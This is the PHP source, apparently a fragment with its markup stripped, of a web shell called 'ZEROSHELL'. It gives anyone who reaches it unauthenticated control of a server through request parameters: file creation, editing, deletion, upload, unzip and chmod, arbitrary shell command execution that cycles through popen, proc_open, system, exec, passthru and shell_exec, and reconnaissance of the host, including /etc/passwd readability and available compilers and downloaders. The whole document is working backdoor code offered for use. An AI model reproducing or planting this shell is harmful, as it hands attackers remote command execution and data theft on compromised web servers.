Success Created File " . $GLOBALS["zero_post"]["filename"] . ".
";
} else {
$data = "
Failed Created File " . $GLOBALS["zero_post"]["filename"] . ".
";
}
echo $data;
exit;
}
}
else if ($GLOBALS["zero_get"]["zero_act"] == "newfolder") {
if ($GLOBALS["zero_post"]["folder"]) {
$fol = zeroPath() . "/" . htmlspecialchars($GLOBALS["zero_post"]["folder"]);
if (@mkdir($fol)) {
$data = "
Success Created Folder " . $GLOBALS["zero_post"]["folder"] . ".
";
} else {
$data = "
Failed Created Folder " . $GLOBALS["zero_post"]["folder"] . ".
";
}
echo $data;
exit;
}
}
else if ($GLOBALS["zero_get"]["zero_act"] == "rename") {
if ($GLOBALS["zero_post"]["oldname"]) {
$rename = rename(zeroPath() . "/" . $GLOBALS["zero_post"]["oldname"], zeroPath() . "/" . $GLOBALS["zero_post"]["newname"]);
if ($rename) {
$data = "
Success Rename File .
";
} else {
$data = "
Failed Rename File.
";
}
echo $data;
exit;
}
}
else if ($GLOBALS["zero_get"]["zero_act"] == "view") {
echo "Filename : " . writeable($GLOBALS["zero_post"]["filename"], $GLOBALS["zero_post"]["filename"]) . "
";
echo "";
echo htmlspecialchars(@file_get_contents($GLOBALS["zero_post"]["filename"]));
echo "
";
exit;
}
else if ($GLOBALS["zero_get"]["zero_act"] == "viewEdit") {
echo "Filename : " . writeable($GLOBALS["zero_post"]["filename"], $GLOBALS["zero_post"]["filename"]) . "
";
echo "
";
echo "";
exit;
}
else if ($GLOBALS["zero_get"]["zero_act"] == "edit") {
if ($GLOBALS["zero_post"]["save"]) {
$save = file_put_contents($GLOBALS["zero_post"]["filename"], $GLOBALS["zero_post"]["content"]);
if ($save) {
$data = "
Success Save File " . $GLOBALS["zero_post"]["filename"] . ".
";
} else {
$data = "
Failed Save File " . $GLOBALS["zero_post"]["filename"] . ".
";
}
echo $data;
exit;
}
}
else if ($GLOBALS["zero_get"]["zero_act"] == "chmod") {
if ($GLOBALS["zero_post"]["chmod"]) {
$chmod = (chmod(zeroPath() . "/" . $GLOBALS["zero_post"]["filename"], $GLOBALS["zero_post"]["mod"])) ? "Chmod Success
" : "Chmod Failed
";
echo $chmod;
exit;
}
}
else if ($GLOBALS["zero_get"]["zero_act"] == "delete") {
$del = unlink($GLOBALS["zero_post"]["filename"]);
if ($del) {
$data = "
Success Delete File ". $GLOBALS["zero_post"]["filename"] . ".
";
} else {
$data = "
Failed Delete File ". $GLOBALS["zero_post"]["filename"] . ".
";
}
echo $data;
exit;
}
else if ($GLOBALS["zero_get"]["zero_act"] == "unzip") {
if ($GLOBALS["zero_post"]["filename"]){
$arcv = new ZipArchive;
$out = $arcv->open($GLOBALS["zero_post"]["filename"]);
if ($out === TRUE) {
$arcv->extractTo($GLOBALS["zero_post"]["to"]);
$arcv->close();
$data = "
Success Unzip File ". $GLOBALS["zero_post"]["filename"] . " to " . $GLOBALS["zero_post"]["to"] . ".
";
} else {
$data = "
Failed Unzip File ". $GLOBALS["zero_post"]["filename"] . ".
";
}
echo $data;
exit;
}
}
else if ($GLOBALS["zero_get"]["zero_act"] == "upload") {
if ($GLOBALS["zero_post"]["upload"]) {
if (isset($GLOBALS["zero_files"]["zero_upl"]["name"])) {
$name = $GLOBALS["zero_files"]["zero_upl"]["name"];
$zero = $GLOBALS["zero_files"]["zero_upl"]["tmp_name"];
if (@copy($zero, zeroPath() . DIRECTORY_SEPARATOR . $name)) {
$data = "
Success Upload File " . $name . ".
";
} else {
$data = "
Failed Upload File " . $name . ".
";
}
echo $data;
exit;
}
}
}
else if ($GLOBALS["zero_get"]["zero_act"] == "command") {
echo zeroCommand($GLOBALS["zero_post"]["command"]);
exit;
}
}
?>
ZEROSHELL | ZEROSTORE
".$perm."";
}
else{
return "".$perm."";
}
}
function perms($path) {
$perms = fileperms($path);
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
}
elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
}
elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
}
elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
}
elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
}
elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
}
elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
}
else {
// Unknown
$info = 'u';
}
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function zeroPath() {
if (isset($GLOBALS["zero_get"]["path"])) {
$dir = str_replace("\\", "/", $GLOBALS["zero_get"]["path"]);
@chdir($dir);
} else {
if (function_exists("getcwd")) {
$dir = str_replace("\\", "/", getcwd());
} else {
$dir = str_replace("\\", "/", $GLOBALS["zero_server"]["PWD"]);
}
}
return $dir;
}
function zeroInfo() {
$ip = gethostbyname($_SERVER['HTTP_HOST']);
$safe = (@ini_get(strtolower("safe_mode")) == 'on') ? color("ON", "red") : color("OFF", "green");
$mysql = (is_callable("mysql_connect")) ? color("ON", "green") : color("OFF", "red");
$curl = (is_callable("curl_version")) ? color("ON", "green") : color("OFF", "red");
$etcPass = (is_readable("/etc/passwd")) ? color("OK", "green") : color("BAD", "red");
$wget = (zeroCommand('wget --help')) ? color("ON", "green") : color("OFF", "red");
$perl = (zeroCommand('perl --help')) ? color("ON", "green") : color("OFF", "red");
$python = (zeroCommand('python --help')) ? color("ON", "green") : color("OFF", "red");
$ruby = (zeroCommand('ruby --help')) ? color("ON", "green") : color("OFF", "red");
$gcc = (zeroCommand('gcc --help')) ? color("ON", "green") : color("OFF", "red");
$dis = @ini_get("disable_functions");
$dfunc = (!empty($dis)) ? "See Disable Function" : color("OFF", "green");
return "
UNAME " . php_uname() . "
ADDR " . $ip . " | " . $GLOBALS["zero_server"]["REMOTE_ADDR"] ."
SAFE " . $safe . "
MYSQL " . $mysql . " | CURL " . $curl . " | WGET " . $wget . " | PERL " . $perl . " | PYTHON " . $python ." | RUBY " . $ruby ." | GCC " . $gcc . "
DISABLE FUNCTION " .$dfunc . "
|
";
}
function color($str, $col) {
$color = [
"green" => "#1D8348",
"red" => "#C0392B"
];
return "" . $str . "";
}
function zeroCommand($cmd) {
if (function_exists("popen")) {
$zero = popen($cmd, 'r');
$zero = fread($zero, 2096);
return $zero;
}
else if(function_exists("proc_open")) {
$zero = proc_open($cmd, array(
0 => array("pipe", 'r'),
1 => array("pipe", "w"),
2 => array("pipe", "w")
), $store, zeroPath());
$stdout = stream_get_contents($store[1]);
fclose($store[1]);
return $stdout;
}
else if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} else if(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result) {
$buff .= $result;
} return $buff;
} else if(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
} else if(function_exists('shell_exec')) {
$buff = @shell_exec($cmd);
return $buff;
}
}
?>